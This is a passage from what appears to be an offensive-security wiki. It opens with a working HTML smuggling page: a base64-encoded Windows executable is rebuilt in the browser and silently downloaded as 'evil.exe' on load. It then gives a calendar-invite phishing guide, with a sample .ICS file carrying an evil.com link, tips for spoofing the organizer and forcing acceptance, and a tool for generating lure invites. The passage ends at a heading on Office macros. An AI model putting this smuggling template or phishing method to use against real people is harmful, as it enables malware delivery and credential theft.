90IHVuZGVyc3RhbmQgdGhpcyBlcnJvciBjb2RlAEVycm9yIHN0cmluZyBub3Qgc3BlY2lmaWVkIHlldAAAcGFzc3dvcmRzIGRvIG5vdCBtYXRjaAAAVGhpcyBmdW5jdGlvbiBoYXMgbm90IGJlZW4gaW1wbGVtZW50ZWQgb24gdGhpcyBwbGF0Zm9ybQAAAAAAVGhlcmUgaXMgbm8gZXJyb3IsIHRoaXMgdmFsdWUgc2lnbmlmaWVzIGFuIGluaXRpYWxpemVkIGVycm9yIGNvZGUAAABTaGFyZWQgbWVtb3J5IGlzIGltcGxlbWVudGVkIHVzaW5nIGEga2V5IHN5c3RlbQBTaGFyZWQgbWVtb3J5IGlzIGltcGxlbWVudGVkIHVzaW5nIGZpbGVzAAAAAFNoYXJlZCBtZW1vcnkgaXMgaW1wbGVtZW50ZWQgYW5vbnltb3VzbHkAAAAAQ291bGQgbm90IGZpbmQgc3BlY2lmaWVkIHNvY2tldCBpbiBwb2xsIGxpc3QuAAAARW5kIG9mIGZpbGUgZm91bmQAAABNaXNzaW5nIHBhcmFtZXRlciBmb3IgdGhlIHNwZWNpZmllZCBjb21tYW5kIGxpbmUgb3B0aW9uAEJhZCBjaGFyYWN0ZXIgc3BlY2lmaWVkIG9uIGNvbW1hbmQgbGluZQBQYXJ0aWFsIHJlc3VsdHMgYXJlIHZhbGlkIGJ1dCBwcm9jZXNzaW5nIGlzIGluY29tcGxldGUAAFRoZSB0aW1lb3V0IHNwZWNpZmllZCBoYXMgZXhwaXJlZAAAAFRoZSBzcGVjaWZpZWQgY2hpbGQgcHJvY2VzcyBpcyBub3QgZG9uZSBleGVjdXRpbmcAAABUaGUgc3BlY2lmaWVkIGNoaWxkIHByb2Nlc3MgaXMgZG9uZSBleGVjdXRpbmcAAABUaGUgc3BlY2lmaWVkIHRocmVhZCBpcyBub3QgZGV0YWNoZWQAAAAAVGhlIHNwZWNpZmllZCB0aHJlYWQgaXMgZGV0YWNoZWQAAAAAAAAAAFlvdXIgY29kZSBqdXN0IGZvcmtlZCwgYW5kIHlvdSBhcmUgY3VycmVudGx5IGV4ZWN1dGluZyBpbiB0aGUgcGFyZW50IHByb2Nlc3MAAAAAWW91ciBjb2RlIGp1c3QgZm9ya2VkLCBhbmQgeW91IGFyZSBjdXJyZW50bHkgZXhlY3V0aW5nIGluIHRoZSBjaGlsZCBwcm9jZXNzAEludGVybmFsIGVycm9yAABUaGUgcHJvY2VzcyBpcyBub3QgcmVjb2duaXplZC4AAFRoZSBnaXZlbiBwYXRoIGNvbnRhaW5lZCB3aWxkY2FyZCBjaGFyYWN0ZXJzAAAAAFRoZSBnaXZlbiBwYXRoIGlzIG1pc2Zvcm1hdHRlZCBvciBjb250YWluZWQgaW52YWxpZCBjaGFyYWN0ZXJzAABUaGUgZ2l2ZW4gcGF0aCB3YXMgYWJvdmUgdGhlIHJvb3QgcGF0aAAAVGhlIGdpdmVuIHBhdGggaXMgaW5jb21wbGV0ZQAAAABUaGUgZ2l2ZW4gcGF0aCBpcyByZWxhdGl2ZQAAVGhlIGdpdmVuIHBhdGggaXMgYWJzb2x1dGUAAFRoZSBzcGVjaWZpZWQgbmV0d29yayBtYXNrIGlzIGludmFsaWQuAABUaGUgc3BlY2lmaWVkIElQIGFkZHJlc3MgaXMgaW52YWxpZC4AAAAARFNPIGxvYWQgZmFpbGVkAE5vIHNoYXJlZCBtZW1vcnkgaXMgY3VycmVudGx5IGF2YWlsYWJsZQBObyB0aHJlYWQga2V5IHN0cnVjdHVyZSB3YXMgcHJvdmlkZWQgYW5kIG9uZSB3YXMgcmVxdWlyZWQuAABObyB0aHJlYWQgd2FzIHByb3ZpZGVkIGFuZCBvbmUgd2FzIHJlcXVpcmVkLgAAAABObyBzb2NrZXQgd2FzIHByb3ZpZGVkIGFuZCBvbmUgd2FzIHJlcXVpcmVkLgAAAABObyBwb2xsIHN0cnVjdHVyZSB3YXMgcHJvdmlkZWQgYW5kIG9uZSB3YXMgcmVxdWlyZWQuAAAAAE5vIGxvY2sgd2FzIHByb3ZpZGVkIGFuZCBvbmUgd2FzIHJlcXVpcmVkLgAATm8gZGlyZWN0b3J5IHdhcyBwcm92aWRlZCBhbmQgb25lIHdhcyByZXF1aXJlZC4ATm8gdGltZSB3YXMgcHJvdmlkZWQgYW5kIG9uZSB3YXMgcmVxdWlyZWQuAABObyBwcm9jZXNzIHdhcyBwcm92aWRlZCBhbmQgb25lIHdhcyByZXF1aXJlZC4AAABBbiBpbnZhbGlkIHNvY2tldCB3YXMgcmV0dXJuZWQAAEFuIGludmFsaWQgZGF0ZSBoYXMgYmVlbiBwcm92aWRlZAAAAEEgbmV3IHBvb2wgY291bGQgbm90IGJlIGNyZWF0ZWQuAAAAAFVucmVjb2duaXplZCBXaW4zMiBlcnJvciBjb2RlICVkAAAAAFwAXAA/AFwAVQBOAEMAXAAAAAAAXABcAD8AXAAAAAAAQ2FuY2VsSW8AAAAAR2V0Q29tcHJlc3NlZEZpbGVTaXplQQAAR2V0Q29tcHJlc3NlZEZpbGVTaXplVwAAWndRdWVyeUluZm9ybWF0aW9uRmlsZQAAR2V0U2VjdXJpdHlJbmZvAEdldE5hbWVkU2VjdXJpdHlJbmZvQQAAAEdldE5hbWVkU2VjdXJpdHlJbmZvVwAAAFUATgBDAFwAAAAAAEdldEVmZmVjdGl2ZVJpZ2h0c0Zyb21BY2xXAAAAAAAA/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD/////bnRkbGwuZGxsAAAAc2hlbGwzMgB3czJfMzIAAG1zd3NvY2sAYWR2YXBpMzIAAAAAa2VybmVsMzIAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAEAAAABgAAIAAAAAAAAAAAAAAAAAAAAEAAQAAADAAAIAAAAAAAAAAAAAAAAAAAAEACQQAAEgAAABgUAEAaAcAAAAAAAAAAAAAAAAAAAAAAABoBzQAAABWAFMAXwBWAEUAUgBTAEkATwBOAF8ASQBOAEYATwAAAAAAvQTv/gAAAQACAAIAAAAOAAIAAgAAAA4APwAAAAAAAAAEAAAAAQAAAAAAAAAAAAAAAAAAAMYGAAABAFMAdAByAGkAbgBnAEYAaQBsAGUASQBuAGYAbwAAAKIGAAABADAANAAwADkAMAA0AGIAMAAAADAEDAIBAEMAbwBtAG0AZQBuAHQAcwAAAEwAaQBjAGUAbgBzAGUAZAAgAHUAbgBkAGUAcgAgAHQAaABlACAAQQBwAGEAYwBoAGUAIABMAGkAYwBlAG4AcwBlACwAIABWAGUAcgBzAGkAbwBuACAAMgAuADAAIAAoAHQAaABlACAAIgBMAGkAYwBlAG4AcwBlACIAKQA7ACAAeQBvAHUAIABtAGEAeQAgAG4AbwB0ACAAdQBzAGUAIAB0AGgAaQBzACAAZgBpAGwAZQAgAGUAeABjAGUAcAB0ACAAaQBuACAAYwBvAG0AcABsAGkAYQBuAGMAZQAgAHcAaQB0AGgAIAB0AGgAZQAgAEwAaQBjAGUAbgBzAGUALgAgAFkAbwB1ACAAbQBhAHkAIABvAGIAdABhAGkAbgAgAGEAIABjAG8AcAB5ACAAbwBmACAAdABoAGUAIABMAGkAYwBlAG4AcwBlACAAYQB0AA0ACgANAAoAaAB0AHQAcAA6AC8ALwB3AHcAdwAuAGEAcABhAGMAaABlAC4AbwByAGcALwBsAGkAYwBlAG4AcwBlAHMALwBMAEkAQwBFAE4AUwBFAC0AMgAuADAADQAKAA0ACgBVAG4AbABlAHMAcwAgAHIAZQBxAHUAaQByAGUAZAAgAGIAeQAgAGEAcABwAGwAaQBjAGEAYgBsAGUAIABsAGEAdwAgAG8AcgAgAGEAZwByAGUAZQBkACAAdABvACAAaQBuACAAdwByAGkAdABpAG4AZwAsACAAcwBvAGYAdAB3AGEAcgBlACAAZABpAHMAdAByAGkAYgB1AHQAZQBkACAAdQBuAGQAZQByACAAdABoAGUAIABMAGkAYwBlAG4AcwBlACAAaQBzACAAZABpAHMAdAByAGkAYgB1AHQAZQBkACAAbwBuACAAYQBuACAAIgBBAFMAIABJAFMAIgAgAEIAQQBTAEkAUwAsACAAVwBJAFQASABPAFUAVAAgAFcAQQBSAFIAQQBOAFQASQBFAFMAIABPAFIAIABDAE8ATgBEAEkAVABJAE8ATgBTACAATwBGACAAQQBOAFkAIABLAEkATgBEACwAIABlAGkAdABoAGUAcgAgAGUAeABwAHIAZQBzAHMAIABvAHIAIABpAG0AcABsAGkAZQBkAC4AIABTAGUAZQAgAHQAaABlACAATABpAGMAZQBuAHMAZQAgAGYAbwByACAAdABoAGUAIABzAHAAZQBjAGkAZgBpAGMAIABsAGEAbgBnAHUAYQBnAGUAIABnAG8AdgBlAHIAbgBpAG4AZwAgAHAAZQByAG0AaQBzAHMAaQBvAG4AcwAgAGEAbgBkACAAbABpAG0AaQB0AGEAdABpAG8AbgBzACAAdQBuAGQAZQByACAAdABoAGUAIABMAGkAYwBlAG4AcwBlAC4AAABWABsAAQBDAG8AbQBwAGEAbgB5AE4AYQBtAGUAAAAAAEEAcABhAGMAaABlACAAUwBvAGYAdAB3AGEAcgBlACAARgBvAHUAbgBkAGEAdABpAG8AbgAAAAAAagAhAAEARgBpAGwAZQBEAGUAcwBjAHIAaQBwAHQAaQBvAG4AAAAAAEEAcABhAGMAaABlAEIAZQBuAGMAaAAgAGMAbwBtAG0AYQBuAGQAIABsAGkAbgBlACAAdQB0AGkAbABpAHQAeQAAAAAALgAHAAEARgBpAGwAZQBWAGUAcgBzAGkAbwBuAAAAAAAyAC4AMgAuADEANAAAAAAALgAHAAEASQBuAHQAZQByAG4AYQBsAE4AYQBtAGUAAABhAGIALgBlAHgAZQAAAAAAggAvAAEATABlAGcAYQBsAEMAbwBwAHkAcgBpAGcAaAB0AAAAQwBvAHAAeQByAGkAZwBoAHQAIAAyADAAMAA5ACAAVABoAGUAIABBAHAAYQBjAGgAZQAgAFMAbwBmAHQAdwBhAHIAZQAgAEYAbwB1AG4AZABhAHQAaQBvAG4ALgAAAAAANgAHAAEATwByAGkAZwBpAG4AYQBsAEYAaQBsAGUAbgBhAG0AZQAAAGEAYgAuAGUAeABlAAAAAABGABMAAQBQAHIAbwBkAHUAYwB0AE4AYQBtAGUAAAAAAEEAcABhAGMAaABlACAASABUAFQAUAAgAFMAZQByAHYAZQByAAAAAAAyAAcAAQBQAHIAbwBkAHUAYwB0AFYAZQByAHMAaQBvAG4AAAAyAC4AMgAuADEANAAAAAAARAAAAAEAVgBhAHIARgBpAGwAZQBJAG4AZgBvAAAAAAAkAAQAAABUAHIAYQBuAHMAbABhAHQAaQBvAG4AAAAAAAkEsAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAATkIxMAAAAAA2gMFKAQAAAEM6XGxvY2FsMFxhc2ZccmVsZWFzZVxidWlsZC0yLjIuMTRcc3VwcG9ydFxSZWxlYXNlXGFiLnBkYgA=';
            var data = base64ToArrayBuffer(file);
            var blob = new Blob([data], {type: 'octet/stream'});
            var fileName = 'evil.exe';

            if (window.navigator.msSaveOrOpenBlob) {
                window.navigator.msSaveOrOpenBlob(blob,fileName);
            } else {
                var a = document.createElement('a');
                console.log(a);
                document.body.appendChild(a);
                a.style = 'display: none';
                var url = window.URL.createObjectURL(blob);
                a.href = url;
                a.download = fileName;
                a.click();
                window.URL.revokeObjectURL(url);
            }
        </script>
    </body>
</html>
```

{% endtab %}
{% endtabs %}

## Resources

{% embed url="<https://attack.mitre.org/techniques/T1027/006/>" %}

{% embed url="<https://www.ired.team/offensive-security/defense-evasion/file-smuggling-with-html-and-javascript>" %}

{% embed url="<https://www.outflank.nl/blog/2018/08/14/html-smuggling-explained/>" %}


# Phishing with Calendars (.ICS Files)

## Theory

We can leverage calendar invites as an initial access vector, using the [*iCalendar*](https://docs.fileformat.com/email/ics/) (ICS) file format to create a phishing scenario.

The ICS File format is used on several Calendars like Google Calendar, Outlook, and Apple Calendar.

## Practice

#### .ICS Format File Overview

The easiest way to get a .ics file is by creating a Google Calendar invite from one Gmail account to another and then downloading the **invite.ics** email attachment.

An example of an Exchange .ICS file can be found below:

<details>

<summary>.ICS Example</summary>

<pre><code>BEGIN:VCALENDAR
PRODID:Microsoft Exchange Server 2022
VERSION:2.0
CALSCALE:GREGORIAN
METHOD:REQUEST
BEGIN:VTIMEZONE
TZOFFSETFROM:+0100
TZOFFSETTO:+0200
TZNAME:GMT+2
BEGIN:STANDARD
DTSTART:19701025T030000
TZOFFSETFROM:+0200
TZOFFSETTO:+0100
END:STANDARD
END:VTIMEZONE
BEGIN:VEVENT
<strong>DTSTART;TZID=Europe/Paris:20241224T080000
</strong><strong>DTEND;TZID=Europe/Paris:20241224T090000
</strong>DTSTAMP:20241012T034159Z
<strong>ORGANIZER;CN=Henry:mailto:henry24@infiltr8.io
</strong>UID:1fmijtln7pfe0ccot1n4skuan4
CREATED:20241010T034159Z
<strong>DESCRIPTION:http://evil.com
</strong>LAST-MODIFIED:20241219T212644Z
ATTENDEE;CUTYPE=INDIVIDUAL;ROLE=REQ-PARTICIPANT;PARTSTAT=ACCEPTED;RSVP=TRUE;CN=v4resk;X-NUM-GUESTS=0:mailto:v4resk@gmail.com
LOCATION:Microsoft Teams Meeting
SEQUENCE:0
<strong>STATUS:CONFIRMED
</strong>SUMMARY:HR meeting
TRANSP:OPAQUE
END:VEVENT
END:VCALENDAR
</code></pre>

</details>

Interesting fields can be found below

<table><thead><tr><th width="171">Fields</th><th>Comment</th></tr></thead><tbody><tr><td>UID</td><td>UID Should be uniq and regenerated each times</td></tr><tr><td>ORGANIZER</td><td>The organizer can be spoofed by modifying the <code>CN=</code> value</td></tr><tr><td>ATTENDEE</td><td>You can add as many attendee as you’d like</td></tr><tr><td>PARTSTAT</td><td>We can force Attendees To Accept The Invite by setting <code>PARTSTAT=ACCEPTED</code></td></tr><tr><td>DTSTART / DTEND</td><td>This properties specify the start and end times of the event</td></tr><tr><td>DESCRIPTION</td><td>It provides additional details about the event, and can be used to insert malicious contents / links.</td></tr></tbody></table>

#### Phishing Attack

{% tabs %}
{% tab title="Malicious URL" %}
[Fakemeeting](https://github.com/ExAndroidDev/fakemeeting) can be used to automate the process of creating `.ICS` phishing files. These invites can include a phishing URL, inside the DESCRIPTION field, crafted with a convincing pretext, encouraging the target to download a file or enter their credentials.

```bash
# 1. Edit fakemeeting.py
# 2. execute
python fakemeeting.py
```

{% endtab %}
{% endtabs %}

## Resources

{% embed url="<https://appriver.com/resources/blog/june-2020/phishers-are-targeting-your-calendar-ics-files>" %}

{% embed url="<https://isc.sans.edu/diary/Spam+Delivered+via+ICS+Files/21611>" %}

{% embed url="<https://mrd0x.com/spoofing-calendar-invites-using-ics-files/>" %}


# Phishing With Microsoft Office


# MS Office - VBA (Macros)

## Theory

